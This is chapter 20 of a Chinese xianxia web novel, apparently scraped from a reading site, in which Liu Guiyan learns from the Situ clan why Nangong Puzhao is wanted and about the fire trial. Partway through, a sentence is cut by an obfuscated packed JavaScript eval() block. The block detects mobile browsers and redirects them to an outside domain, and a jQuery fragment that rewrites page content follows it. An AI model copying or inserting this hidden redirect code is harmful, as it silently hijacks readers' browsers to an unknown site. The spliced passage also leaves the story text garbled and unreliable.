20. 第二十章
作品:《仙落》 屋内空气异常清新,灯火照亮着各个角落,柳归烟被“请”进屋内,安置最里面的墙角处。司徒明朗守在她身旁,司徒见三坐在她对面,依旧慢条斯理擦拭着他的剑。
令柳归烟奇怪的是,那柄剑上并没有执念,仿佛死了一般。
司徒见三见柳归烟一直盯着他的剑,微微笑了一下,面目慈祥宛如看着自家孩子,与之前在宴席间完全不同。
“你似乎对白金感兴趣?”司徒见三看着柳归烟,柳归烟摇头道:“你的剑心……已经死了,所以剑也就死了。就算还保留名字,他也不会回应你了。”
司徒明朗闻言眉头一皱,司徒见三倒是坦然:“虽然他现在死了,可是只要我还活着,他就有活下去的机会。”
柳归烟摇头:“司徒宗主,你的心已经被仇恨蒙蔽,剑意不坚,白金……恐已死。”
司徒见三闻言看向司徒明朗:“不,我的意志会星火相传,终究有燎原之势。”
柳归烟闻此执拗话语微微摇头,又转回了话题:“司徒宗主找我何事?”
司徒见三眨眨眼:“难道不是姑娘来找我们有事吗?不然为何停滞窗下?”
第一次听到有人把抓包听墙角说的这么文明,柳归烟心血一凝,脸色发白。
司徒明朗将剑架在柳归烟颈间,“你看起来不是南宫一族的人,为什么要混进鸢阳宗祭典?”
柳归烟刚要狡辩,到嘴边的“我就是个外族”还没说出口,司徒见三示意司徒明朗放手:“她既然周旋各族,恐怕是盯上了鸢阳宗吧。”
柳归烟沉默了,司徒明朗开口嘲讽,面露不屑:“你这姑娘,怕不是想离间各族,然后让鸢阳宗失去帮手,再一举拿下?鸢阳宗势大人多,高手云集,你一个姑娘,有这么大的本事?”
柳归烟:“不,我只是来拿个东西。”
眼下最明智的选择,是实话实说。于是,柳归烟回答道:“我需要南宫浦昭,因为我有任务,要去雁春山。”
司徒明朗不明所以,还要继续怼她,然而却被司徒见三制止,司徒见三看着柳归烟,开口道:“跟你一起来的那个道友,是你的伙伴?”
柳归烟点头,“我们要一起去雁春山。”
司徒见三摇了摇头:“之前也有人这么说过,可惜……”
柳归烟静等后续,司徒见三嘲讽的笑了:“如果你所说的全部属实,那么我们就是一个阵营的,说一下你所获得的情报吧。”
柳归烟:……
怎么就扯到一个阵营,又扯到情报上去了?!
但是柳归烟静观这司徒见三,似乎像是真的有本事似的,便把自己的疑点见闻都抛给了他。
司徒明朗面容逐渐抽搐,司徒见三的眉头则皱得越来越深,当柳归烟叙述完毕,二人沉默了。
柳归烟:嗯???
司徒明朗吐出一口气,对柳归烟扬眉:“所以你一晚上就打探了这一堆八卦?!”
柳归烟:昂。
司徒见三则掏出小本记录什么,之后对柳归烟道:“你的疑惑,我可解答。”
柳归烟洗耳恭听。
“关于东方卿卿所述鸢阳宗祠堂,以及火判一事,确实跟南宫浦昭有些关系。”
虽然你也没打探出祠堂以及火判的秘密就是了,司徒见三在心底如此说着。
“南宫浦昭之所以会被通缉,并且参与后日的火判,是因为他擅自闯入了鸢阳宗祠堂。”司徒见三继续道。
“据我安插在鸢阳宗内的眼线所述,那日原本是鸢阳宗其他弟子去洒扫祠堂,而那名弟子忽然腹痛,便拉着恰好经过的南宫浦昭替他扫一会儿院子。南宫浦昭是符修,便捏了道符,瞬间清理干净了落叶灰尘,然而不巧,符力道过大,震开了祠堂大门,也震落了一些灰尘。”
“南宫浦昭一看祠堂内如此脏乱,便再捏了一道符,将灰尘打扫干净。”
“可是不巧,还是劲使大了,祠堂正中的牌位被震了下来,摔了个粉碎,动静之大引来了鸢阳溟狐,在鸢阳溟狐派人通知鸢阳熙乐之时,南宫浦昭心知不妙,趁机用符潜逃出去,之后便被鸢阳宗通缉。”
“据说当时整个火判山都在摇晃,而鸢阳熙乐也是第一时间便赶到了祠堂,他跟鸢阳溟狐,鸢阳非非等人一起布阵,忙活了三天三夜才平息震动。而南宫浦昭自此消失无踪。”
柳归烟皱眉思索:“南宫浦昭为什么要跑?他不是跟我们说他杀了人吗?”
司徒见三与司徒明朗对视,司徒见三分析道:“南宫浦昭打碎了牌位,是不是相当于杀害了先祖?那个牌位的位置,似乎是鸢阳宗开宗先祖鸢阳畑的牌位。”
柳归烟心头不免一跳,又是鸢阳畑!
司徒明朗往后站了站,接话道:“鸢阳宗内宗规矩繁多,大概是南宫浦昭知晓要被处罚或者献祭,所以才跑路的吧。”
“献祭?”柳归烟看向他,司徒明朗继续道:“是啊,火判从不出错,意思就是,参与火判的人,都死掉了。”
司徒见三忽然出声:“到目前为止,只有一个人是例外。”
司徒二人对视,司徒明朗朝西门方向努努嘴:“是啊,人没事,就是傻了呗。”
柳归烟:“……难道是指西门门徒?”
司徒见三点头:“正是。这第二个疑点,跟他有关。”
“鸢阳溟狐之前不是鸢阳宗内宗弟子,她是代替了她的姐姐鸢阳月明进入内宗的。”
柳归烟哦了一声,“原来是姐姐,那么她们感情很好咯?”
司徒明朗开口:“鸢阳溟狐原本是个孤儿,是被鸢阳月明捡回去的,可以说鸢阳月明对于鸢阳溟狐来说,既是母亲,也是姐姐,更是导师。如果说鸢阳溟狐对鸢阳月明有什么特别的心思,也说不定,毕竟……你也看到了鸢阳溟狐那半男不女的样子。”
柳归烟点头,司徒见三继续道:“鸢阳月明一开始的地下恋人,就是西门门徒。”
“可是在当时的鸢阳宗,内宗弟子的婚姻是被鸢阳宗宗主包配的,不可以随意恋爱。二人地下情发展很久,但是后来还是被撞破了。”
“鸢阳月明跟西门门徒一起,被送上火判山进行审判,之后鸢阳月明死亡,西门门徒无事,却失去了灵智,变成了如今的无脑武夫。”
“那南宫阳阳……跟鸢阳非非的事……”
司徒明朗嫌恶的又往后退了一步:“南宫姑娘本来就是这样的性格,至于鸢阳非非……此人修术法,邪性的很。最擅长采阴补阳,南宫姑娘怕是被他骗了去。”
柳归烟:哦,呵呵。
这个她熟啊,以前的魅魔不就专修此道嘛。
“所以,鸢阳溟狐跟鸢阳非非他俩关系不合?”柳归烟再度抛出一个问题,司徒明朗接话道:“单纯就是性格不合的问题,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745033|174169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过我想,他俩每日抬头不见低头见的,总归关系不会太僵,应该就是貌合神离的关系。”
柳归烟趁着天色未亮,迅速返回屋舍,刚带好门,就看到迟雪尽捧卷而立,站在窗边。
“如何?”二人同时出口,迟雪尽面色平静,柳归烟有些讶异。
迟雪尽见她不开口,便把之前种种告知于她。
“东方家主来过一趟,被我打发走了。”
“她说了什么?”
“来找东方卿卿。”
“……哦。”
“之后,鸢阳非非来了一趟,被我打发走了。”
“他来干嘛?”
“找鸢阳溟狐。”
“找鸢阳溟狐干嘛?”
“没说,没问。”
柳归烟:……
半晌,天色逐渐明晰,柳归烟沉不住气了,发问道:“他们就没有人来找过我?”
“为何要找你?”
柳归烟哦了一声,转身回去休息去了,迟雪尽视线落在书卷间,这一页已经被他看了二十遍,可是他的心不静。
因为还有个人来找过她。
是那个眼瞎且无礼的南宫家主,南宫祸敖。
当时迟雪尽正站在外间读书顺带等候柳归烟归来,南宫祸敖敲门进入,越过迟雪尽走进里屋。迟雪尽不解,便跟了进去。
只见南宫祸敖对着柳归烟的床铺说起话来。
“这位南宫外族姑娘,本宗主见你聪慧可人,再想是否可以把你引荐给鸢阳宗主做下一任内宗弟子,如果有意,请答复我。”
回答南宫祸敖的,是沉默。
迟雪尽:“……宗主,阿烟已经睡下了。”
迟雪尽盯着柳归烟用被子枕头累出来的人形床铺,陷入沉思。
南宫家主则一脸歉意道:“不好意思这位道友,我这个人脸盲,有些认不出人,她若是已经睡了,那就改日再聊。”
语毕,迅速遁出房间。
迟雪尽:……
这世间当真有奇人。
第二日日上三竿,柳归烟草草收拾了一下仪容,刚走出房间,便看见迟雪尽端坐在桌案前,提笔写写画画。
她走过去瞧,发现都是些水系的保命符,迟雪尽抬眸看她,沉声道:火判仪式,我猜会有火焰灵力波动,阿烟本体是木,恐伤体劳神。这些符你拿着,必要时可保命。
柳归烟接过符纸道声谢,把昨夜情报悉数告知,迟雪尽点头应下,也不知是否在听,也不知是否听了进去,依旧在写写画画。
柳归烟讲的口干舌燥,见这木头没理她,瞬间生气了。
她一把夺过迟雪尽手里的笔,扔进了笔洗里,然后瞪着迟雪尽。
“阿烟,别闹,有正事。”迟雪尽不明所以,要去够笔,却被柳归烟拦着,二人额头距离极近,呼吸交错,柳归烟推了他一把。
“渴死了,要喝水!”
迟雪尽盯着柳归烟,后知后觉去倒水,柳归烟原本心里还美滋滋的,但是忽然意识到,为什么她要指使迟雪尽帮她倒水?为什么迟雪尽不听她说话她就要生气?她是小孩子吗?
迟雪尽端着水回来,柳归烟还在发愣。直到水来到面前,柳归烟恍然回神,端起杯子喝了一口,淡淡道:“多谢。”
或许,是之前三世种种情形,让她习惯了依赖他吧,柳归烟只能做出如此解释。